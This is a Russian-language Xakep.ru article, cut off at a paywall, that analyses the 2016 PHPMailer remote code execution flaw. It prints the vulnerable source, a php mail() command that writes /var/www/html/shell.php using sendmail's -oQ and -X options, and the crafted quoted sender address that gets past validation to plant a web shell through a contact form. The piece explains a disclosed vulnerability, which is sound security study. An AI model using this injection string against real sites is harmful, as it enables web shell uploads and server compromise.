Сегодня мы рассмотрим уязвимость в библиотеке PHPMailer, которая используется для отправки писем миллионами разработчиков по всему миру. Этот скрипт задействован в таких продуктах, как Zend Framework, Laravel, Yii 2, а так же в WordPress, Joomla и многих других CMS, написанных на PHP. Кроме того, ты можешь встретить его в каждой третьей форме обратной связи.

О проблеме сообщил Давид Голунский — специалист по безопасности родом из Польши. 25 декабря 2016 года он на своем сайте опубликовал документ, в котором рассказал о проблемах в текущей версии PHPMailer. А вскоре подоспел и proof of concept.

Уязвимость имеет статус критической потому, что позволяет удаленно выполнять команды и читать файлы на целевой системе. В этой статье я рассмотрю баг в самой библиотеке, нескольких уязвимых продуктах, а также обход неудачной попытки патча.

WARNING

Вся информация предоставлена исключительно в ознакомительных целях. Ни редакция, ни автор не несут ответственности за любой возможный вред, причиненный материалами данной статьи.
 

Детали уязвимости и патча

Для начала взглянем на патч, который латает эту уязвимость. Идем на GitHub и смотрим соответствующий коммит.

В некоторых местах скрипта появилась дополнительная фильтрация переменной $this->Sender. Это параметр, в котором находится адрес отправителя сообщения (From: ded@moroz.com). Давай посмотрим, что с ним не так.

PHPMailer по умолчанию использует стандартную функцию mail() для отправки сообщений. Выглядит это следующим образом:

class.phpmailer.php:

1426:      * Send mail using the PHP mail() function.
...
1434:     protected function mailSend($header, $body)
...
1444:         if (!empty($this->Sender)) {
1445:             $params = sprintf('-f%s', $this->Sender);
1446:         }
...
1454:                 $result = $this->mailPassthru($toAddr, $this->Subject, $body, $header, $params);

class.phpmailer.php:

686:     private function mailPassthru($to, $subject, $body, $header, $params)
...
700:             $result = @mail($to, $subject, $body, $header, $params);

Как видишь, mail() вызывается с пятью параметрами. Скрипт же собирает эти параметры в $params, в том числе и адрес отправителя Sender (строки 1444–1446). Если заглянуть в документацию PHP, то можно увидеть, что последний параметр функции отвечает за дополнительные ключи, которые передаются бинарнику sendmail на этапе отправки сообщения.

Ты уже слышал про RCE через mail() с пятью параметрами? Если нет, то вот кратко суть.

Приложение sendmail имеет множество опций запуска, среди них есть несколько интересных:

  • -Ooption=value устанавливает указанные настройки;
  • -OQueueDirectory=queuedir указывает путь, где будут храниться письма, поставленные в очередь для отправки;
  • -oQ — короткая версия предыдущего ключа;
  • -Cfile позволяет указать путь к конфигурационному файлу;
  • -Xlogfile позволяет логировать все этапы отправки сообщений в указанный файл. Очень полезно для отладки, а также для заливки шеллов ;).

Если использовать эти ключи в правильной комбинации, можно записать файл с любым содержимым. Тебе пригодятся ключи -oQ и -X.

Собственно, функция mail() как раз и занимается тем, что выполняет команду sendmail с нужными параметрами, которые в нашем случае поступают к ней от PHPMailer. Если интересны детали, смотри на небольшой кусок кода из исходников PHP.

/php/php-src/master/ext/standard/mail.c:

099: /* {{{ proto int mail(string to, string subject, string message [, string additional_headers [, string additional_parameters]])
100:    Send an email message */
101: PHP_FUNCTION(mail)
102: {
103:    char *to=NULL, *message=NULL, *headers=NULL, *headers_trimmed=NULL;
104:    char *subject=NULL, *extra_cmd=NULL;
...
123:    if (extra_cmd) {
124:        MAIL_ASCIIZ_CHECK(extra_cmd, extra_cmd_len);
125:    }
...
169:    } else if (extra_cmd) {
170:        extra_cmd = php_escape_shell_cmd(extra_cmd);
171:    }
...
173:    if (php_mail(to_r, subject_r, message, headers_trimmed, extra_cmd TSRMLS_CC)) {
174:        RETVAL_TRUE;
...
265: PHPAPI int php_mail(char *to, char *subject, char *message, char *headers, char *extra_cmd TSRMLS_DC)
266: {
...
271:    FILE *sendmail;
...
273:    char *sendmail_path = INI_STR("sendmail_path");
274:    char *sendmail_cmd = NULL;
...
354:    if (extra_cmd != NULL) {
355:        spprintf(&sendmail_cmd, 0, "%s %s", sendmail_path, extra_cmd);
...
377:    sendmail = popen(sendmail_cmd, "w");

Вооружаемся отладчиком, чтобы быстро посмотреть, какие параметры принимает бинарник. Если выполнить php -r 'mail("pes@localhost", "CheckOneTwo", "Hello!", "", "-OQueueDirectory=/tmp -X/var/www/html/shell.php");', то sendmail_path будет выглядеть следующим образом.

Отладка функции mail()
Отладка функции mail()
gdb-peda$ print sendmail_cmd
$1 = 0xb7494a40 "/usr/sbin/sendmail -t -i  -OQueueDirectory=/tmp -X/var/www/html/shell.php"

Результатом выполнения, как ты уже успел догадаться, будет файл /var/www/html/shell.php. Заметь, что можно контролировать его содержимое с помощью заголовков письма: адресат, тема и текст сообщения.

Содержимое созданного через `-X` лог-файла
Содержимое созданного через `-X` лог-файла

Возвращаемся к насущным проблемам. Притворимся на время разработчиками на PHP и возьмем готовый скрипт mail.phps из папки examples самой библиотеки. Теперь создадим простейшую форму обратной связи. К слову, большая их часть именно так и делается.

examples/mail.phps:

10: //Set who the message is to be sent from
11: $mail->setFrom($_POST["email"], $_POST["name"]);

form.html:

1: <form action="examples/mail.phps" method="POST">
2:   <label><input type="text" name="name">Имя</label><br/>
3:   <label><input type="text" name="email">E-mail</label><br/>
4:   <label><textarea name="message" placeholder="Текст"></textarea></label><br/>
5:   <input type="submit">

После отправки формы функция setFrom() создает переменную $this->Sender, которая содержит адрес отправителя и попадает в командную строку в виде параметра -f (заголовок From в письме).

class.phpmailer.php:

1444:         if (!empty($this->Sender)) {
1445:             $params = sprintf('-f%s', $this->Sender);
1446:         }

class.phpmailer.php:

1011:     public function setFrom($address, $name = '', $auto = true)
...
1016:         if (($pos = strrpos($address, '@')) === false or
1017:             (!$this->has8bitChars(substr($address, ++$pos)) or !$this->idnSupported()) and
1018:             !$this->validateAddress($address)) {
1019:             $error_message = $this->lang('invalid_address') . " (setFrom) $address";
...
1027:         $this->From = $address;
...
1029:         if ($auto) {
1030:             if (empty($this->Sender)) {
1031:                 $this->Sender = $address;
1032:             }
1033:         }

Адрес перед этим проходит валидацию (строка 1017), поэтому нельзя просто взять и передать параметры для заливки шелла — получишь invalid_address (строка 1019). Если, к примеру, попробовать адрес Test -oQ/tmp -X/var/www/html/shell.php@givemeshell.com, то это он вызовет ошибку валидации.

Если в двух словах, то тут проводится проверка на соответствие стандарту RFC 3696. Однако Голунский выяснил, что согласно стандарту адреса с пробелами считаются валидными только в том случае, если они окружены кавычками. Например, " email with spaces "@itsok.com.

Делаем вторую попытку. Пробуем передать "Test -oQ/tmp -X/var/www/html/shell.php"@givemeshell.com. На этот раз валидация пройдена, но команда для запуска почтового демона выглядит не совсем так, как нам нужно.

Вся строка в конце считается частью аргумента -f. Чтобы избежать этого, нужно разбить его на части. К счастью, стандарт разрешает использовать обратные слеши в адресе, поэтому воспользуемся эскейп-последовательностью \" и отправим "Test\" -oQ/tmp/ -X/var/www/html/shell.php any"@givemeshell.com.

Эксплоит успешно отработал, файл создан
Эксплоит успешно отработал, файл создан

На этот раз все проходит удачно. Как видишь, дополнительно в качестве текста сообщения я отправил код на PHP, который был успешно записан в файл и прекрасно выполняется.

Результат работы эксплоита
Результат работы эксплоита

Теперь мы получили возможность создавать файлы на целевой системе с произвольным содержимым. Миссия выполнена.

 

Как можно обойти патч

Разумеется, команда разработчиков PHPMailer поспешила выпустить патч и настоятельно рекомендовала всем обновить библиотеку до версии 5.2.18. Однако Голунский тоже быстро среагировал и буквально в день выхода фикса зарелизил его обход.

Снова идем на GitHub и ищем коммит с патчем. Ребята добавили код, который проверяет, правильно ли экранируется параметр Sender. Если нет, то параметр -f вообще не используется.

Почему же не хватило фильтрации функцией escapeshellarg()? Дело в особенностях обработки передаваемых аргументов. Советую прочитать про обход escapeshellarg, если ты еще не в курсе этих дел.

Попробуем отправить предыдущий эксплоит и посмотрим, что будет.

Продолжение доступно только участникам

Вариант 1. Присоединись к сообществу «Xakep.ru», чтобы читать все материалы на сайте

Членство в сообществе в течение указанного срока откроет тебе доступ ко ВСЕМ материалам «Хакера», увеличит личную накопительную скидку и позволит накапливать профессиональный рейтинг Xakep Score! Подробнее

Вариант 2. Открой один материал

Заинтересовала статья, но нет возможности стать членом клуба «Xakep.ru»? Тогда этот вариант для тебя! Обрати внимание: этот способ подходит только для статей, опубликованных более двух месяцев назад.


Check Also

Американская компания обнаружила взлом, когда хакер истратил все свободное место на сервере

Компания InfoTrax Systems, занимающаяся хостингом MLM-приложений, несколько лет не замечал…

4 комментария

  1. Аватар

    soko1

    12.01.2017 at 15:57

    >Если использовать эти ключи в правильной комбинации, можно записать файл с любым содержимым. Тебе пригодятся ключи -oQ и -X.

    Описание опции -X либо не указано выше, либо опечатка

  2. Аватар

    Int

    13.01.2017 at 12:21

    Никогда не делал формы таким способом. Всегда отсылаю почту с info@site.domain, а в теле письма уже пишу данные, которые пользователь указал.

  3. Аватар

    ksam

    13.01.2017 at 16:49

    «Этот скрипт задействован в таких продуктах, как Zend Framework, Laravel, Yii 2»
    Что за желтизна? Нет в них такого по умолчанию.

Оставить мнение